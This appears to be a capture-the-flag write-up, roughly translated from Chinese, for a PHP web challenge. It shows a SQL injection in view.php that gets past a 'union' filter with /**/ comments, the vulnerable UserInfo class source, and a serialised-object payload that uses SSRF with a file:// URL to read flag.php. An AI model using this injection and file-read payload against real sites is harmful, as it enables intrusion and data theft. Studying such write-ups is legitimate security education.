A registered admin account, then log in, did not find anything.
View.php into a point of view, it seems to have found injection points.
Injection attempts, find the union was filtered, can be used / ** / be bypassed.
You can see there is a de-serialization, then I would not have thought of.
Read wp know, there is a backup file user.php.bak and flag.php, user.php.bak code is as follows:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);//设置句柄
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);//执行句柄
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);//返回执行句柄的结果或404
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);//对blog进行过滤,要求http(s)协议作为开头
}
}
?>
In the graph we can see that there is a error in place of the original blogcontents: Call to A Member getBlogContents function () boolean in /var/www/html/view.php ON ON Line 67 , description user.php
of the getBlogContents
function is called here and the function is passed in the return address of the blog get
function, and then see a magic method, deserialization function before adding, use of anti-serialization function reconstruction$blog
, because of the blog is not filtered after reconstruction, it is possible to bypass the filter of the blog registration.
Configuration code sequence as follows:
<?php
class UserInfo
{
public $name = "1";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>
payload:?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
Then iframe src untied with base64 to see the flag.